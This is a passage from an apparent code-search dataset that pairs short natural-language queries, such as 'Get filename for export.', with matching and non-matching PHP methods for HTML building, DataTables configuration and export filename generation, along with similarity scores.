Serõn\">\n <link rel=\"stylesheet\" href=\"/assets/css/styles.css\">\n</head>\n<body>\nHTML;\n\n return $this;\n }", "public function html(): YajraBuilder\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction(['width' => '80px'])\n ->parameters([\n 'dom' => 'frtip',\n 'order' => [[0, 'desc']],\n ]);\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction()\n ->dom('lBfr<\"table-responsive\"t>ip')\n ->orderBy(0,'DESC')\n ->buttons(\n ['csv', 'excel', 'print', 'reset']\n );\n }", "public function getHTML();", "public function buildHTML() {\n\n\t\t// Load the header\n\t\tinclude 'templates/header.php';\n\n\t\t// Load the content\n\t\t$this->contentHTML();\n\n\t\t// Load the footer\n\t\tinclude 'templates/footer.php';\n\n\t}", "abstract function get_html();", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->parameters([\n 'dom' => 'Blfrtip',\n\n 'lengthMenu' => [\n [10, 25, 50], [9, 25, 50, 'All Data'],\n ],\n 'buttons' => [\n ['text' => '<i class=\"fa fa-plus\"></i>' . 'إضافة مكاتبة جديدة', 'className' => 'btn btn-success btn-margin',\n \"action\" => \"function() {\n window.location.href = '\" . \\URL::current() . \"/create'\n }\",\n ],\n [ 'text' => '<i class=\"fa fa-plus\"></i>' . 'إضافة مكاتبة ذكية جديدة', 'className' => 'btn btn-success btn-margin',\n \"action\" => \"function() {\n window.location.href = '\" . \\URL::current() . \"/smart'\n }\",],\n ['extend' => 'reload', 'className' => 'btn-margin btn btn-default', 'text' => '<i class=\"fa fa-refresh\"></i>'],\n ], // for search form\n\n\n 'language' => self::lang(),\n\n \"order\"=> [[ 0, \"desc\" ]],\n\n ]);\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n //->dom('Bfrtip')\n ->orderBy(0,'ASC');\n // ->buttons(\n // Button::make('export'),\n // Button::make('print')\n // );\n }", "public function html()\n {\n $random_quote = $this->randomQuote();\n $cp_path = CP_ROUTE;\n return $this->view('widget', compact('random_quote','cp_path'))->render();\n }", "protected function registerHtmlBuilder()\n {\n $this->app->bindShared('html', function($app)\n {\n return new HtmlBuilder($app['url']);\n });\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->dom('lBfr<\"table-responsive\"t>ip')\n ->orderBy(0,'DESC')\n ->buttons(\n ['csv', 'excel', 'print', 'reset']\n );\n }", "public function getHtmlTemplate() {}", "public function outerHtml()\n {\n }", "function add_html () {\n //Adds a html block\n return '<div class=\"black\">Lorem ipsum dolor</div>';\n }", "protected function setHtmlContent() {}", "public function render() {\n echo $this->getHtml();\n }", "public function buildHTML() {\n $vars = array('page' => &$this);\n\n // Trigger various page hooks.\n // Page init.\n $this->env->hook('page_preload', $vars);\n\n // This is an AJAX request. Skip loading index.html and just provide requested content.\n if (isset($_REQUEST['ajax'])) {\n $this->html = NodeFactory::render($this->env);\n }\n // This is an actual HTML page request. Commonly index.html.\n elseif (!empty($this->getIndexFile())) {\n $this->html = file_get_contents($this->env->dir['docroot'] . '/' . $this->getIndexFile());\n }\n // In case of a special pre-loaded page request, i.e. Shadow node edit.\n elseif (!empty($this->getData('content'))) {\n $this->html = $this->getData('content');\n }\n elseif (!is_file($this->env->dir['docroot'] . '/' . $this->getIndexFile())) {\n $this->html = t('Hello! Quanta seems not installed (yet) in your system. Please follow the <a href=\"https://www.quanta.org/installation-instructions\">Installation Instructions</a><br /><br />Reason: file not found(' . $this->getIndexFile() . ')');\n }\n\n // Trigger various page hooks.\n // Page init.\n $this->env->hook('page_init', $vars);\n\n // Page's body classes. // TODO: deprecate, include in page init.\n $this->env->hook('body_classes', $vars);\n\n // Page after build.\n $this->env->hook('page_after_build', $vars);\n\n // Page complete.\n $this->env->hook('page_complete', $vars);\n\n }", "public function render() {\n $htmlContent = \"\";//Main Content\n\n return $htmlContent;\n}", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->parameters([\n 'dom' => 'Bfrtip',\n 'pageLength' => '25',\n 'order' => [[0, 'asc']],\n ]);\n }", "abstract public function convert_to_html();", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->parameters([\n 'dom' => 'Bfrtip',\n 'order' => [1, 'asc'],\n 'select' => [\n 'style' => 'os',\n 'selector' => 'td:first-child',\n ],\n 'buttons' => [\n /*['extend' => 'create', 'editor' => 'editor'],\n ['extend' => 'edit', 'editor' => 'editor'],\n ['extend' => 'remove', 'editor' => 'editor'],*/\n ]\n ]);\n }", "public function html()\n {\n return $this->builder()\n ->setTableId('books-table')\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->orderBy(1)\n ->parameters([\n 'lengthMenu' => [\n [ 05, 10, 15, -1 ],\n [ '05 rows', '10 rows', '15 rows', 'Show all' ],\n ['align-left']\n ],\n 'order' => [[0, 'desc']]\n ]);\n }", "public function getHTML()\n {\n $config = $this->config[\"config\"];\n $items = $this->config[\"items\"];\n $itemsRight = $this->config[\"items-right\"];\n $html = \"<ul class='{$config['navbar-left-class']}'>\";\n foreach ($items as $item) {\n $html .= array_key_exists(\"dropdown-menu\", $item)\n ? $this->createDropdownItem($item, $item[\"text\"])\n : $this->createItem($item);\n }\n $html .= \"</ul>\";\n $html .= \"<ul class='{$config['navbar-right-class']}'>\";\n // Login and create account routes\n foreach ($itemsRight as $item) {\n $active = $item[\"route\"] == $this->currentRoute\n ? \"active\" : \"\";\n $route = call_user_func($this->urlCreator, $item[\"route\"]);\n $html .= \"<li class='{$active}'>\";\n // Check if user is logged in or not\n if ($item['route'] === \"login\" && $this->loggedIn) {\n if ($this->admin) {\n $route = call_user_func($this->urlCreator, \"admin\");\n } else {\n $route = call_user_func($this->urlCreator, \"profile\");\n }\n $html .= \"<a href='{$route}'>{$this->loggedIn}</a></li>\";\n } else {\n $html .= \"<a href='{$route}'>{$item['text']}</a></li>\";\n }\n }\n $html .= \"</ul>\";\n\n return $html;\n }", "public function toHtml()\n\t{\n\t\treturn $this->to(self::RENDER_HTML);\n\t}", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction(['width' => '280px'])\n ->parameters([\n 'dom' => 'Bfrtip',\n 'order' => [[0, 'desc']],\n 'buttons' => [\n //['extend' => 'create', 'className' => 'btn btn-default btn-sm no-corner',],\n ['extend' => 'export', 'className' => 'btn btn-default btn-sm no-corner',],\n ['extend' => 'print', 'className' => 'btn btn-default btn-sm no-corner',],\n //['extend' => 'reset', 'className' => 'btn btn-default btn-sm no-corner',],\n //['extend' => 'reload', 'className' => 'btn btn-default btn-sm no-corner',],\n ],\n ]);\n }", "public function get_html()\n\t{\n\t\tif ( empty($this->html) && $this->name ){\n\t\t\t\n\t\t\t$this->html .= '<'.$this->tag.' name=\"'.$this->name.'\"';\n\t\t\t\n\t\t\tif ( isset($this->id) ){\n\t\t\t\t$this->html .= ' id=\"'.$this->id.'\"';\n\t\t\t}\n\t\t\t\n\t\t\tif ( $this->tag === 'input' && isset($this->options['type']) ){\n\t\t\t\t$this->html .= ' type=\"'.$this->options['type'].'\"';\n\t\t\t\t\n\t\t\t\tif ( $this->options['type'] === 'text' || $this->options['type'] === 'number' || $this->options['type'] === 'password' || $this->options['type'] === 'email' ){\n\t\t\t\t\tif ( isset($this->options['maxlength']) && ( $this->options['maxlength'] > 0 ) && $this->options['maxlength'] <= 1000 ){\n\t\t\t\t\t\t$this->html .= ' maxlength=\"'.$this->options['maxlength'].'\"';\n\t\t\t\t\t}\n\t\t\t\t\tif ( isset($this->options['minlength']) && ( $this->options['minlength'] > 0 ) && $this->options['minlength'] <= 1000 && ( \n\t\t\t\t\t( isset($this->options['maxlength']) && $this->options['maxlength'] > $this->options['minlength'] ) || !isset($this->options['maxlength']) ) ){\n\t\t\t\t\t\t$this->html .= ' minlength=\"'.$this->options['minlength'].'\"';\n\t\t\t\t\t}\n\t\t\t\t\tif ( isset($this->options['size']) && ( $this->options['size'] > 0 ) && $this->options['size'] <= 100 ){\n\t\t\t\t\t\t$this->html .= ' size=\"'.$this->options['size'].'\"';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif ( $this->options['type'] === 'checkbox' ){\n\t\t\t\t\tif ( !isset($this->options['value']) ){\n\t\t\t\t\t\t$this->options['value'] = 1;\n\t\t\t\t\t}\n\t\t\t\t\t$this->html .= ' value=\"'.htmlentities($this->options['value']).'\"';\n\t\t\t\t\tif ( $this->value == $this->options['value'] ){\n\t\t\t\t\t\t$this->html .= ' checked=\"checked\"';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if ( $this->options['type'] === 'radio' ){\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$this->html .= ' value=\"'.htmlentities($this->value).'\"';\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif ( isset($this->options['title']) ){\n\t\t\t\t$this->html .= ' title=\"'.$this->options['title'].'\"';\n\t\t\t}\n\t\t\t\n\t\t\t$class = '';\n\t\t\t\n\t\t\tif ( isset($this->options['cssclass']) ){\n\t\t\t\t$class .= $this->options['cssclass'].' ';\n\t\t\t}\n\n\t\t\tif ( $this->required ){\n\t\t\t\t$class .= 'required ';\n\t\t\t}\n\t\t\tif ( isset($this->options['email']) ){\n\t\t\t\t$class .= 'email ';\n\t\t\t}\n\t\t\tif ( isset($this->options['url']) ){\n\t\t\t\t$class .= 'url ';\n\t\t\t}\n\t\t\tif ( isset($this->options['number']) ){\n\t\t\t\t$class .= 'number ';\n\t\t\t}\n\t\t\tif ( isset($this->options['digits']) ){\n\t\t\t\t$class .= 'digits ';\n\t\t\t}\n\t\t\tif ( isset($this->options['creditcard']) ){\n\t\t\t\t$class .= 'creditcard ';\n\t\t\t}\n\t\t\t\n\t\t\tif ( !empty($class) ){\n\t\t\t\t$this->html .= ' class=\"'.trim($class).'\"';\n\t\t\t}\n\t\t\t\n\t\t\t$this->html .= '>';\n\t\t\t\n\t\t\tif ( $this->tag === 'select' || $this->tag === 'textarea' ){\n\t\t\t\t$this->html .= '</'.$this->tag.'>';\n\t\t\t}\n\t\t\t\n\t\t\tif ( isset($this->options['placeholder']) && strpos($this->options['placeholder'],'%s') !== false ){\n\t\t\t\t$this->html = sprintf($this->options['placeholder'], $this->html);\n\t\t\t}\n\t\t}\n\t\treturn $this->html;\n\t}", "public function html()\n {\n return $this->builder()\n ->setTableId('user-table')\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->dom($this->getDom());\n }", "public function html()\n {\n return $this->builder()\n ->setTableId('city_datatables')\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->dom('Blfrtip')\n ->orderBy(1)\n ->buttons(\n Button::make('create'),\n Button::make('export'),\n Button::make('print'),\n Button::make('reset'),\n Button::make('reload')\n );\n }", "public function getHTML() {\t\n\t\t$html = '';\n\t\tif ($this->type != 'title') $html.= '<p>'.\"\\n\";\n\t\tif ($this->type != 'info' && $this->type != 'system' && $this->type != 'title') \n\t\t\t{\t\t\t\n\t\t\t$html.= '<label id=\"label_for_'. $this->name . '\" name=\"label_for_'. $this->name . '\" for=\"'. $this->name . '\">';\n\t\t\t// special check for files item\n\t\t\tif ($this->type == 'file')\n\t\t\t\t{\n\t\t\t\tif (file_exists($_SERVER['DOCUMENT_ROOT'].'/uploads/' . $this->name))\n\t\t\t\t\t{\n\t\t\t\t\t$html.= '<a href = \"/uploads/'. $this->name .'\">'.$this->label.'</a> \n\t\t\t\t\t\t(<a href=\"javascript:void Messi.ask(\\''.DELETE.' ' .$this->name.' ?\\', \n\t\t\t\t\t\tfunction(val) { if(val==\\'Y\\') formSubmit(\\'delete\\',\\'' . $this->name . '\\');});\">'.DELETE.'</a>)';\n\t\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t$html.= $this->label.' ('.NONE.')';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\telse\n\t\t\t\t{\n\t\t\t\t$html.= $this->label;\n\t\t\t\t}\n\t\t\t$html.= '</label>'.\"\\n\";\n\t\t\t}\n\t\t// add dependence of the item for js managing in user interface\n\t\tif ($this->depend != 'none' or $this->depend != '') {\n\t\t\t$html.= '<input type=\"hidden\" id=\"dependance_for_'. $this->name . '\" value=\"'. $this->depend . '\" />'.\"\\n\";\n\t\t}\t\n\t\t$html.= '<input type=\"hidden\" id=\"title_for_'. $this->name . '\" value=\"'. $this->title . '\" />'.\"\\n\";\n\t\tswitch ($this->type)\n\t\t\t{\n\t\t\tcase 'text' : \n\t\t\t\t$html.= '<input id=\"'. $this->name . '\" name=\"'. $this->name . '\" value=\"'. $this->value . '\" \n\t\t\t\t\tonchange=\"display_dependance();\" />'.\"\\n\";\n\t\t\t\tbreak;\n\n\t\t\tcase 'password' : \n\t\t\t\t$html.= '<input type=\"password\" id=\"'. $this->name . '\" name=\"'. $this->name . '\" value=\"'. $this->value . '\" \n\t\t\t\t\tonchange=\"display_dependance();\" />'.\"\\n\";\n\t\t\t\tbreak;\n\n\t\t\tcase 'checkbox' : \n\t\t\t\t$html.= '<input type=\"checkbox\" id=\"'. $this->name . '\" name=\"'. $this->name . '\"' . ( ($this->value == 'on') ? \" \n\t\t\t\t\tchecked \" : \"\") . ' onchange=\"display_dependance();\" />'.\"\\n\";\n\t\t\t\tbreak;\n\n\t\t\tcase 'file' : \n\t\t\t\t$html.= '<input type=\"file\" id=\"'. $this->name . '\" name=\"'. $this->name . '\" value=\"'. $this->value . '\" />'.\"\\n\";\n\t\t\t\tbreak;\n\n\t\t\tcase 'select' :\n\t\t\t\t$html.= '<select id=\"'. $this->name . '\" name=\"'. $this->name . '\" onchange=\"display_dependance();\" >'.\"\\n\";\n\t\t\t\t$valuesPossible = explode(',',$this->values);\n\t\t\t\tforeach ($valuesPossible as $valuePossible){\n\t\t\t\t\t$html.= '<option value=\"'. $valuePossible . '\" ' . (($valuePossible == $this->value) ? \" selected \" : \"\") . '>'.\n\t\t\t\t\t(($valuePossible == \"none\") ? NONE : $valuePossible) . '</option>'.\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t$html.= '</select><div style=\"clear:both\"></div>'.\"\\n\";\n\t\t\t\tbreak; \n\n\t\t\tcase 'title' : \n\t\t\t\t$html.= \"\\n\". '<h2>'.$this->label.'</h2><hr />'.\"\\n\\n\";\t\t\t\n\t\t\t\tbreak;\n\n\t\t\t// system action items\n\t\t\tcase 'system' : \n\t\t\t\t// a system item will render a button that submit the form with the configured action name in the config-map.php\n\t\t\t\t$html.= '<label></label><input class=\"button\" type=\"button\" id=\"'. $this->name . '\" name=\"'. $this->name . '\" value=\"'.$this->label.'\" \n\t\t\t\tonclick=\"new Messi(\\''.addslashes($this->help).'\\', {\n\t\t\t\t\ttitle: \\''.addslashes($this->label).'?\\', \n\t\t\t\t\tmodal: true, buttons: [{id: 0, label: \\''.YES.'\\', val: \\'Y\\'}, {id: 1, label: \\''.NO.'\\', val: \\'N\\'}], \n\t\t\t\t\tcallback: function(val) { if(val==\\'Y\\') {openTerminal();formSubmit(\\''.$this->values.'\\');}}});\" />';\n\t\t\t\tbreak;\n\n\t\t\tcase 'html' : \n\t\t\t\t// this is only arbitrary html code to display\n\t\t\t\t$html.= $this->value;\t\t\t\n\t\t\t\tbreak;\n\n\t\t\t/**\n\t\t\t * HERE YOU CAN ADD THE TYPE RENDERER YOU NEED\n\t\t\t *\n\t\t\t * case 'YOUR_TYPE' : \n\t\t\t *\t$html.= 'ANY_HTML_CODE_TO_RENDER';\n\t\t\t *\tbreak;\n\t\t\t */\n\n\t\t\tdefault : \n\t\t\t\t$html.= '<b>'.NO_METHOD_TO_RENDER_THIS_ITEM .'</b><br />Item : '.$this->name. '<br />Type : '.$this->type. '<br />'.\"\\n\"; \n\t\t\t\tbreak;\n\t\t\t\n\t\t\t}\n\t\tif ($this->type != 'title') $html.= '</p>'.\"\\n\"; \t\t\n\t\treturn $html;\n\t}", "public function getHtmlBuilder()\n {\n if (! class_exists('\\Yajra\\DataTables\\Html\\Builder')) {\n throw new \\Exception('Please install yajra/laravel-datatables-html to be able to use this function.');\n }\n\n return $this->html ?: $this->html = app('datatables.html');\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax('')\n ->addAction(['width' => '80px'])\n ->parameters([\n 'dom' => 'Bfrtip',\n 'order' => [[0, 'desc']],\n 'buttons' => [\n\n ],\n ]);\n }", "function toHtml() \n {\n return $this->_html;\n }", "public function html()\n {\n return $this->builder()\n ->setTableId('designation-table')\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->dom('Bfrtip')\n ->orderBy(1)\n ->buttons(\n Button::make('create'),\n Button::make('export'),\n Button::make('print'),\n Button::make('reset'),\n Button::make('reload')\n );\n }", "public function getHTML() {\n\t $markup = '';\n\n\t // open tags as required \n\t if($this->isBolded) {\n\t // add strong tag\n\t $markup .= '<strong>'; \n\t }\n\t\tif($this->isItalics) {\n\t // add emphisis tag\n\t $markup .= '<em>'; \n\t } \n\t\tif($this->isStrikethrough) {\n\t // add ?? tag\n\t } \n\t\tif($this->isUnderlined) {\n\t // add span tag with text decoration for underline\n\t $markup .= '<span style=\"text-decoration: underline;\">';\n\t }\n\n // add span tag to define color\n $markup .= '<span style=\"color: #' . $this->colour . ';\">';\n \n // TODO: add logic so the style is reused for each\n \n\t\t// add the text \n $markup .= $this->text;\n\n // add close tag for colour applicatoin\n $markup .= '</span>';\n\n // close tags as required\n\t if($this->isBolded) {\n\t // add close strong tag\n\t $markup .= '</strong>'; \n\t }\n\t\tif($this->isItalics) {\n\t // add close emphisis tag\n\t $markup .= '</em>'; \n\t } \n\t\tif($this->isStrikethrough) {\n\t // add close ?? tag \n\t } \n\t\tif($this->isUnderlined) {\n\t // add close span tag\n\t $markup .= '</span>';\n\t }\n\n\t\treturn $markup;\n\t}", "private function viewBuilder() {\n $html = '';\n $file = false;\n // Create fields\n foreach ($this->formDatas as $field) {\n $type = $field['type'];\n switch ($type) {\n case 'text' :\n case 'password' :\n case 'hidden' :\n $html .= '\n <label for=\"' . $field['name'] . '\">' . $field['label'] . '</label>\n <input type=\"' . $type . '\" name=\"' . $field['name'] . '\" id=\"' . $field['name'] . '\" value=\"<?php echo set_value(\"' . $field['name'] . '\", \"' . $field['value'] . '\"); ?>\"/>';\n break;\n // Addon - 2013-07-31\n case 'date' :\n case 'datetime' :\n $html .= '\n <label for=\"' . $field['name'] . '\">' . $field['label'] . '</label>\n <input type=\"text\" name=\"' . $field['name'] . '\" id=\"' . $field['name'] . '\" value=\"<?php echo set_value(\"' . $field['name'] . '\", \"' . $field['value'] . '\"); ?>\"/>';\n\n\n if ($type == 'datetime') {\n $plugin = $this->addPlugin('widget', false);\n $plugin = $this->addPlugin('date');\n }\n $plugin = $this->addPlugin($type);\n if (!isset($this->js['script'])) {\n $this->js['script'] = '';\n }\n if ($type == 'datetime') {\n $this->js['script'] .= '\n <script type=\"text/javascript\">$(document).ready(function() {$(\"#' . $field['name'] . '\").datetimepicker({ dateFormat: \"yy-mm-dd\", timeFormat : \"HH:mm\"});});</script>';\n } else {\n $this->js['script'] .= '\n <script type=\"text/javascript\">$(document).ready(function() {$(\"#' . $field['name'] . '\").datepicker({ dateFormat: \"yy-mm-dd\"});});</script>';\n }\n break;\n // End Addon\n case 'select' :\n $html .= '\n <label for=\"' . $field['name'] . '\">' . $field['label'] . '</label>\n <select name=\"' . $field['name'] . '\">';\n // Add options\n foreach ($field['options'] as $option) {\n $html .= '\n <option value=\"' . $option . '\" <?php echo set_select(\"' . $field['name'] . '\", \"' . $option . '\"); ?>>' . $option . '</option>';\n }\n $html .= '\n </select>';\n break;\n case 'checkbox' :\n $html .= '\n <label for=\"' . $field['name'] . '\">' . $field['label'] . '</label>\n ';\n // Add options\n foreach ($field['checkbox'] as $option) {\n $html .= '\n <input type=\"checkbox\" value=\"' . $option . '\" value=\"<?php echo set_value(\"' . $field['name'] . '\", \"' . $option . '\"); ?>\"><span>' . $option . '</span>';\n }\n break;\n case 'radio' :\n $html .= '\n <label for=\"' . $field['name'] . '\">' . $field['label'] . '</label>\n ';\n // Add options\n foreach ($field['radio'] as $option) {\n $html .= '\n <input type=\"radio\" value=\"' . $option . '\" value=\"<?php echo set_value(\"' . $field['name'] . '\", \"' . $option . '\"); ?>\"><span>' . $option . '</span>';\n }\n break;\n case 'reset' :\n case 'submit' :\n $html .= '\n <input type=\"' . $type . '\" name=\"' . $field['name'] . '\" id=\"' . $field['name'] . '\" value=\"<?php echo set_value(\"' . $field['name'] . '\", \"' . $field['value'] . '\"); ?>\"/>';\n break;\n case 'textarea' :\n $html .= '\n <label for=\"' . $field['name'] . '\">' . $field['label'] . '</label>\n <textarea name=\"' . $field['name'] . '\" id=\"' . $field['name'] . '\"><?php echo set_value(\"' . $field['name'] . '\", \"' . $field['value'] . '\"); ?></textarea>';\n break;\n case 'file' :\n $html .= '\n <label for=\"' . $field['name'] . '\">' . $field['label'] . '</label>\n <input type=\"file\" name=\"' . $field['name'] . '\" id=\"' . $field['name'] . '\" />';\n $file = true;\n break;\n }\n }\n\n $view = '\n <html>\n <head>\n <link type=\"text/css\" rel=\"stylesheet\" href=\"<?php echo base_url() ?>assets/css/generator/' . $this->cssName . '.css\">\n '; // Addon - 2013-07-31\n foreach ($this->css as $css) {\n $view .= $css . '\n ';\n }\n foreach ($this->js as $js) {\n $view .= $js . '\n ';\n }\n // End Addon\n $view .= '\n </head>\n <body>\n <?php\n // Show errors\n if(isset($error)) {\n switch($error) {\n case \"validation\" :\n echo validation_errors();\n break;\n case \"save\" :\n echo \"<p class=\\'error\\'>Save error !</p>\";\n break;\n }\n }\n if(isset($errorfile)) {\n foreach($errorfile as $name => $value) {\n echo \"<p class=\\'error\\'>File \\\"\".$name.\"\\\" upload error : \".$value.\"</p>\";\n }\n }\n ?>\n <form action=\"<?php echo base_url() ?>' . $this->formName . '\" method=\"post\" ' . ($file == true ? 'enctype=\"multipart/form-data\"' : '') . '>\n ' . $html . '\n </form>\n </body>\n </html>';\n return array(str_replace('<', '&lt;', $view), $view);\n }", "public function build()\n {\n\n $this->load();\n $this->html = $this->buildTable() ;\n\n return $this->html;\n\n }", "public function html()\n {\n return $this->builder()\n ->columns($this->getColumns())\n ->minifiedAjax()\n ->addAction(['width' => '120px', 'printable' => false])\n ->parameters([\n 'stateSave' => false,\n 'order' => [[($this->columnsLength-1), 'desc']],\n ]);\n }" ]
[ "0.8223474", "0.7832399", "0.77049524", "0.7642871", "0.75216883", "0.74815524", "0.7403877", "0.73037547", "0.72794753", "0.7205899", "0.7202348", "0.7202348", "0.7194561", "0.71864444", "0.7173879", "0.71675974", "0.716523", "0.716523", "0.716523", "0.71432114", "0.71009815", "0.70883846", "0.7083202", "0.70604897", "0.7051434", "0.69884425", "0.6919563", "0.69078934", "0.69039255", "0.6885853", "0.6885853", "0.68824023", "0.6867917", "0.68485934", "0.6847267", "0.68417746", "0.68410504", "0.68410504", "0.6797269", "0.67965555", "0.678674", "0.6780618", "0.67804444", "0.6778738", "0.6769966", "0.67647886", "0.6764328", "0.67626995", "0.6758238", "0.675198", "0.6744942", "0.67252916", "0.67042804", "0.6702994", "0.66948694", "0.6693096", "0.66772485", "0.6670193", "0.66672665", "0.66556793", "0.6650841", "0.6649229", "0.66449744", "0.6632797", "0.6626289", "0.66238296", "0.6616949", "0.66112995", "0.6607428", "0.66073805", "0.6602486", "0.6599689", "0.6594298", "0.6573377", "0.6552674", "0.65201193", "0.65151393", "0.6509489", "0.65068984", "0.64992225", "0.64956474", "0.6490953", "0.648153", "0.6458993", "0.6445694", "0.64441186", "0.64386976", "0.64317065", "0.6429959", "0.6422132", "0.64204323", "0.6419403", "0.64188665", "0.6416345", "0.64120156", "0.64052486", "0.64009964", "0.639785", "0.6393767", "0.6392468" ]
0.6938769
26
Get filename for export.
protected function filename() { return 'Movies_' . date('YmdHis'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function filename()\n {\n return 'Export_' . date('YmdHis');\n }", "protected function filename () : string {\n return sprintf('%s/%s.csv', $this->instanceDirectory(), $this->guessName());\n }", "public function getFileName()\n {\n $fileName = $this->getInfo('fileName');\n if (!$fileName) {\n $fileName = $this->getInfo('title');\n }\n if (!$fileName) {\n $fileName = Zend_Controller_Front::getInstance()->getRequest()->getParam('controller') . '-' . date(\"Ymd\");\n }\n return $fileName . '.csv';\n }", "private static function getFileName()\n {\n return sprintf('Export %s.csv', Carbon::now()->toDateTimeString());\n }", "public function getFilename()\n {\n return static::filename($this->path);\n }", "public function getFilename();", "public function getFilename();", "public function getFilename() {}", "public function getFilename()\n {\n return $this->filename . '.pdf';\n }", "public function getFilename(): string\n {\n return $this->filename;\n }", "public function getFilename(): string\n {\n return $this->filename;\n }", "public function getFilename()\n {\n $file = basename($this->srcPath);\n\n $ops = str_replace(array('&', ':', ';', '?', '.', ','), '-', $this->operations);\n return trim($ops . '-' . $file, './');\n }", "public function getFilename() : string\n {\n return $this->fileName;\n }", "private function pathFilename() {\n return $this->directory . \"/\" . $this->formatFilename();\n }", "public function filename()\n\t{\n\t\treturn $this->_filename();\n\t}", "public function getFileName()\n {\n $value = $this->get(self::FILENAME);\n return $value === null ? (string)$value : $value;\n }", "protected function filename()\n {\n return 'ReclassExport_' . time();\n }", "private function getExportFileName($extension = 'csv')\n\t{\n\t\t$datetime = new DateTime();\n\t\t$timezone = new DateTimeZone(Mage::getStoreConfig('general/locale/timezone'));\n\t\t$datetime->setTimezone($timezone);\n\t\t$date = $datetime->format(\"Y-m-d\");\n\t\t$time = $datetime->format(\"His\");\n\t\treturn sprintf(\"%s-%s-%d.%s\",self::EXPORT_FILE_NAME, $date, $time, $extension);\n\t}", "private function getOutputFileName()\n {\n $formattedDate = date(self::DATE_FORMAT);\n $fileName = sprintf(self::FILE_NAME_PATTERN, $formattedDate);\n\n return $fileName;\n }", "public function getFileNameForExport($report, $file_type) {\r\n return $this->prefix_project_name . '_' . $report . '_' . time() . '.' . $file_type;\r\n }", "protected function filename()\n {\n return 'Reports_' . date('YmdHis');\n }", "public function getFileName()\n {\n return basename($this->path);\n }", "public function getFileName(): string\n {\n if (strpos($this->savefileName, '.php') === false) {\n return $this->savefileName . $this->extension;\n }\n return $this->savefileName;\n }", "private function getFilename()\n {\n if ($this->uniqueFile) {\n return $this->filename;\n }\n\n return $this->filename . self::SEPARATOR . $this->getCurrentSitemap();\n }", "public function getFileName()\n {\n return \"{$this->getUserOS()}-{$this->getDriver()}{$this->getFileExtension()}\";\n }", "public function getFileName();", "public function getFileName();", "public function getFileName();", "public function getFilename() {\n return $this->path;\n }", "public function getFilename()\n {\n return __FILE__;\n }", "public function getFilename() {\n return $this->getData('file');\n }", "public function getFilename()\n {\n return $this->filename;\n }", "public function getFilename()\n {\n return $this->filename;\n }", "public function getFilename()\n {\n return $this->filename;\n }", "public function getFilename()\n {\n return $this->filename;\n }", "public function getFilename()\n {\n return $this->filename;\n }", "public function getFilename()\n {\n return $this->filename;\n }", "protected function filename()\n {\n return 'Payment_'.date('YmdHis');\n }", "public function getFileName()\n {\n return $this->prefix.$this->scope.'_'.$this->comName;\n }", "public function myFilename()\r\n {\r\n $reflection = new ReflectionClass($this);\r\n\r\n return $reflection->getFileName();\r\n }", "public function get_filename()\n {\n }", "public function filename() : string {\n return $this->name;\n }", "public function getFilename()\n {\n return '';\n }", "public function getFilename(): string\n {\n return $this->getServer(self::SCRIPT_FILENAME);\n }", "protected function ___filename() {\n\t\treturn $this->pagefiles->path . $this->basename;\n\t}", "protected function filename()\n {\n return 'Delivery_' . date('YmdHis');\n }", "function getFilename()\n {\n return __FILE__;\n }", "public function getFilename()\r\n {\r\n return pathinfo($this->filename, PATHINFO_BASENAME);\r\n }", "public function getFileName()\n {\n return $this->getParam('flowFilename');\n }", "protected function filename()\n {\n return 'Egreso_' . date('YmdHis');\n }", "public function getFileName()\n {\n return $this->filename;\n }", "public function getFileName()\n {\n return $this->filename;\n }", "protected function filename()\n {\n return 'Orders_' . date('YmdHis');\n }", "public function getFileName()\n {\n return basename($this->file, '.' . $this->getExtension());\n }", "public function filename(): string\n {\n return Str::random(6) . '_' . $this->type . $this->fileExtension();\n }", "public function getFileName(){\n\t\t$filename = sprintf($this->format, $this->classname) . '.php';\n\t\t\n\t\treturn $filename;\n\t}", "public function getFilename()\n {\n return $this->_filename;\n }", "public function getFileName()\n {\n return $this->language.'/'.strtolower($this->getName());\n }", "public function fullFilename()\n {\n $ext = '.xml';\n if (strpos(strtolower($this->url), '.csv') > 0)\n $ext = '.csv';\n return $this->filename . $ext;\n }", "public function getFilename() {\n\t\treturn $this->filename;\n\t}", "public function getFilename() {\n\t\treturn $this->filename;\n\t}", "public function getFilename()\n {\n if (!$this->fileName) {\n $matcher = $this->getFileMatcher();\n $this->fileName = $this->searchFile($matcher);\n }\n\n return $this->fileName;\n }", "public function getFilename()\n\t\t{\n\t\t\treturn $this->_fileName;\n\t\t}", "public function getFileName() {\n\t\treturn $this->filename;\n\t}", "function rlip_get_export_filename($plugin, $tz = 99) {\n global $CFG;\n $tempexportdir = $CFG->dataroot . sprintf(RLIP_EXPORT_TEMPDIR, $plugin);\n $export = basename(get_config($plugin, 'export_file'));\n $timestamp = get_config($plugin, 'export_file_timestamp');\n if (!empty($timestamp)) {\n $timestamp = userdate(time(), get_string('export_file_timestamp',\n $plugin), $tz);\n if (($extpos = strrpos($export, '.')) !== false) {\n $export = substr($export, 0, $extpos) .\n \"_{$timestamp}\" . 